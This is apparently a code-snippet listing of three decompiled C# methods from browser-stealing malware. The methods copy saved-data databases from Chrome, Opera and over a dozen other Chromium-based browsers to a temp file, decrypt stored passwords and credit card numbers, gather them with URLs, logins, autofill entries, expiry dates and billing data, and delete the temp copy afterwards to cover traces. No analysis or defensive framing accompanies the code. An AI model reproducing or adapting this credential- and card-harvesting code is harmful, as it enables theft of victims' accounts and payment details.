Beispiel #1
0
        // Token: 0x06000022 RID: 34 RVA: 0x00002C40 File Offset: 0x00000E40
        private static List <PassData> FetchPasswords(string basePath)
        {
            List <PassData> result;

            if (!File.Exists(basePath))
            {
                result = null;
            }
            else
            {
                string program = "";
                if (basePath.Contains("Chrome"))
                {
                    program = "Google Chrome";
                }
                if (basePath.Contains("Orbitum"))
                {
                    program = "Orbitum Browser";
                }
                if (basePath.Contains("Opera"))
                {
                    program = "Opera Browser";
                }
                if (basePath.Contains("Amigo"))
                {
                    program = "Amigo Browser";
                }
                if (basePath.Contains("Torch"))
                {
                    program = "Torch Browser";
                }
                if (basePath.Contains("Comodo"))
                {
                    program = "Comodo Browser";
                }
                if (basePath.Contains("BlackHawk"))
                {
                    program = "BlackHawk Browser";
                }
                if (basePath.Contains("Uran"))
                {
                    program = "Uran Browser";
                }
                if (basePath.Contains("AcWebBrowser"))
                {
                    program = "AcWebBrowser";
                }
                if (basePath.Contains("CoolNovo"))
                {
                    program = "CoolNovo Browser";
                }
                if (basePath.Contains("Epic"))
                {
                    program = "Epic Browser";
                }
                if (basePath.Contains("Baidu Spark"))
                {
                    program = "Baidu Spark";
                }
                if (basePath.Contains("Rockmelt"))
                {
                    program = "Rockmelt";
                }
                if (basePath.Contains("Sleipnir"))
                {
                    program = "Sleipnir Browser";
                }
                if (basePath.Contains("SRWare Iron"))
                {
                    program = "SRWare Iron";
                }
                if (basePath.Contains("Titan"))
                {
                    program = "Titan Browser";
                }
                if (basePath.Contains("Flock"))
                {
                    program = "Flock Browser";
                }
                try
                {
                    string text = Path.GetTempPath() + "/" + NameR.GetName() + ".fv";
                    if (File.Exists(text))
                    {
                        File.Delete(text);
                    }
                    File.Copy(basePath, text, true);
                    Decod           decod = new Decod(text);
                    List <PassData> list  = new List <PassData>();
                    decod.ReadTable("logins");
                    for (int i = 0; i < decod.GetRowCount(); i++)
                    {
                        try
                        {
                            string text2 = string.Empty;
                            try
                            {
                                text2 = Encoding.UTF8.GetString(SavedPass.DecryptBrowsers(Encoding.Default.GetBytes(decod.GetValue(i, 5)), null));
                            }
                            catch (Exception)
                            {
                            }
                            if (text2 != "")
                            {
                                list.Add(new PassData
                                {
                                    Url      = decod.GetValue(i, 1).Replace("https://", "").Replace("http://", ""),
                                    Login    = decod.GetValue(i, 3),
                                    Password = text2,
                                    Program  = program
                                });
                            }
                        }
                        catch (Exception)
                        {
                        }
                    }
                    File.Delete(text);
                    result = list;
                }
                catch (Exception)
                {
                    result = null;
                }
            }
            return(result);
        }
Beispiel #2
0
        // Token: 0x06000027 RID: 39 RVA: 0x00003260 File Offset: 0x00001460
        private static List <FormData> FetchForms(string basePath)
        {
            List <FormData> result;

            if (!File.Exists(basePath))
            {
                result = null;
            }
            else
            {
                basePath.Contains("Chrome");
                basePath.Contains("Orbitum");
                basePath.Contains("Opera");
                basePath.Contains("Amigo");
                basePath.Contains("Torch");
                basePath.Contains("Comodo");
                basePath.Contains("BlackHawk");
                basePath.Contains("AcWebBrowser");
                basePath.Contains("Baidu Spark");
                basePath.Contains("Rockmelt");
                basePath.Contains("Sleipnir");
                basePath.Contains("SRWare Iron");
                basePath.Contains("Titan Browser");
                basePath.Contains("Flock");
                basePath.Contains("CoolNovo");
                basePath.Contains("Epic Browser");
                basePath.Contains("Uran");
                try
                {
                    string text = Path.GetTempPath() + "/" + NameR.GetName() + ".fv";
                    if (File.Exists(text))
                    {
                        File.Delete(text);
                    }
                    File.Copy(basePath, text, true);
                    Decod           decod = new Decod(text);
                    List <FormData> list  = new List <FormData>();
                    decod.ReadTable("autofill");
                    if (decod.GetRowCount() == 65536)
                    {
                        result = null;
                    }
                    else
                    {
                        for (int i = 0; i < decod.GetRowCount(); i++)
                        {
                            try
                            {
                                list.Add(new FormData
                                {
                                    Name  = decod.GetValue(i, 0),
                                    Value = decod.GetValue(i, 1)
                                });
                            }
                            catch (Exception)
                            {
                            }
                        }
                        File.Delete(text);
                        result = list;
                    }
                }
                catch (Exception)
                {
                    result = null;
                }
            }
            return(result);
        }
Beispiel #3
0
        // Token: 0x0600003C RID: 60 RVA: 0x00004EC8 File Offset: 0x000030C8
        private static List <CardData> FetchCards(string basePath)
        {
            List <CardData> result;

            if (!File.Exists(basePath))
            {
                result = null;
            }
            else
            {
                basePath.Contains("Chrome");
                basePath.Contains("Orbitum");
                basePath.Contains("Opera");
                basePath.Contains("Amigo");
                basePath.Contains("Torch");
                basePath.Contains("Comodo");
                basePath.Contains("BlackHawk");
                basePath.Contains("AcWebBrowser");
                basePath.Contains("Baidu Spark");
                basePath.Contains("Rockmelt");
                basePath.Contains("Sleipnir");
                basePath.Contains("SRWare Iron");
                basePath.Contains("Titan Browser");
                basePath.Contains("Flock");
                basePath.Contains("CoolNovo");
                basePath.Contains("Epic Browser");
                basePath.Contains("Uran");
                try
                {
                    string text = Path.GetTempPath() + "/" + NameR.GetName() + ".fv";
                    if (File.Exists(text))
                    {
                        File.Delete(text);
                    }
                    File.Copy(basePath, text, true);
                    Decod           decod = new Decod(text);
                    List <CardData> list  = new List <CardData>();
                    decod.ReadTable("credit_cards");
                    for (int i = 0; i < decod.GetRowCount(); i++)
                    {
                        try
                        {
                            string text2 = string.Empty;
                            try
                            {
                                text2 = Encoding.UTF8.GetString(SavedPass.DecryptBrowsers(Encoding.Default.GetBytes(decod.GetValue(i, 4)), null));
                            }
                            catch (Exception)
                            {
                            }
                            if (text2 != "")
                            {
                                list.Add(new CardData
                                {
                                    Name    = decod.GetValue(i, 1),
                                    Exp_m   = decod.GetValue(i, 2),
                                    Exp_y   = decod.GetValue(i, 3),
                                    Number  = text2,
                                    Billing = decod.GetValue(i, 9)
                                });
                            }
                        }
                        catch (Exception)
                        {
                        }
                    }
                    File.Delete(text);
                    result = list;
                }
                catch (Exception)
                {
                    result = null;
                }
            }
            return(result);
        }